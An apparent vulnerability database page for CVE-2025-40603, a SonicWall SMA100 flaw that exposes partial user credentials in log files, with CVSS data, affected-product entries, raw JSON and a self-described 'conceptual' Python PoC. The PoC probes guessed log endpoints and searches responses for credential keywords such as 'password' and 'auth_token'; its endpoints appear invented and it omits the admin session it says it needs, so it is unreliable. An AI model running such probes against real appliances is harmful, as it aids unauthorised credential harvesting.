Security Vulnerability Report
中文
CVE-2025-40603 CVSS 4.5 MEDIUM

CVE-2025-40603

Published: 2025-10-31 11:15:35
Last Modified: 2025-11-06 16:26:51

Description

A potential exposure of sensitive information in log files in SonicWall SMA100 Series appliances may allow a remote, authenticated administrator, under certain conditions to view partial users credential data.

CVSS Details

CVSS Score
4.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:sonicwall:sma_210_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:sma_210:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sonicwall:sma_410_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:sma_410:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sonicwall:sma_500v_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:sma_500v:-:*:*:*:*:*:*:* - NOT VULNERABLE
SonicWall SMA100 Series < 特定修复版本
SonicWall SMA 100 (所有子版本)
SonicWall SMA 1000 Series (可能受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-40603 PoC - SonicWall SMA100 Sensitive Information Disclosure # Note: This is a conceptual PoC based on vulnerability description # Actual exploitation requires authenticated administrator access import requests import sys from urllib.parse import urljoin def check_vulnerability(target_url): """ Check if target SonicWall SMA100 is vulnerable to CVE-2025-40603 Requires authenticated administrator session """ # Target endpoints that may expose log files endpoints = [ '/api/v2/settings/logs', '/api/v1/logs/user-activity', '/cgi-bin/logViewer', '/api/diagnostics/logs' ] print(f"[*] Scanning target: {target_url}") print(f"[*] CVE-2025-40603 - SonicWall SMA100 Log Information Disclosure") for endpoint in endpoints: url = urljoin(target_url, endpoint) try: # Request log files with administrator session response = requests.get(url, timeout=10) if response.status_code == 200: content = response.text # Check for credential-related patterns in logs credential_patterns = [ 'password', 'credential', 'auth_token', 'session_id', 'pwd=', 'passwd' ] for pattern in credential_patterns: if pattern.lower() in content.lower(): print(f"[!] Potential vulnerability detected at {url}") print(f"[!] Found credential-related pattern: {pattern}") return True except requests.exceptions.RequestException as e: print(f"[-] Error accessing {url}: {str(e)}") print("[*] Scan completed") return False if __name__ == '__main__': if len(sys.argv) > 1: target = sys.argv[1] check_vulnerability(target) else: print("Usage: python cve_2025_40603_poc.py <target_url>")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-40603", "sourceIdentifier": "[email protected]", "published": "2025-10-31T11:15:34.757", "lastModified": "2025-11-06T16:26:50.913", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A potential exposure of sensitive information in log files in SonicWall SMA100 Series appliances may allow a remote, authenticated administrator, under certain conditions to view partial users credential data."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N", "baseScore": 4.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-532"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma_210_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.2.2.3", "matchCriteriaId": "3CED8FE0-D00D-4919-968F-A7F4FDD8C812"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sma_210:-:*:*:*:*:*:*:*", "matchCriteriaId": "51587338-4A5F-41FC-9497-743F061947C2"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma_410_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.2.2.3", "matchCriteriaId": "C395F5EF-2A49-4D59-9DF4-69F3CC364595"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sma_410:-:*:*:*:*:*:*:*", "matchCriteriaId": "9DFB8FBC-FFA4-4526-B306-D5692A43DC9E"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma_500v_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.2.2.3", "matchCriteriaId": "6FAB4D54-F7B6-422F-9D4F-A78A982A249E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sma_500v:-:*:*:*:*:*:*:*", "matchCriteriaId": "A6AD8A33-7CE4-4C66-9E23-F0C9C9638770"}]}]}], "references": [{"url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0017", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}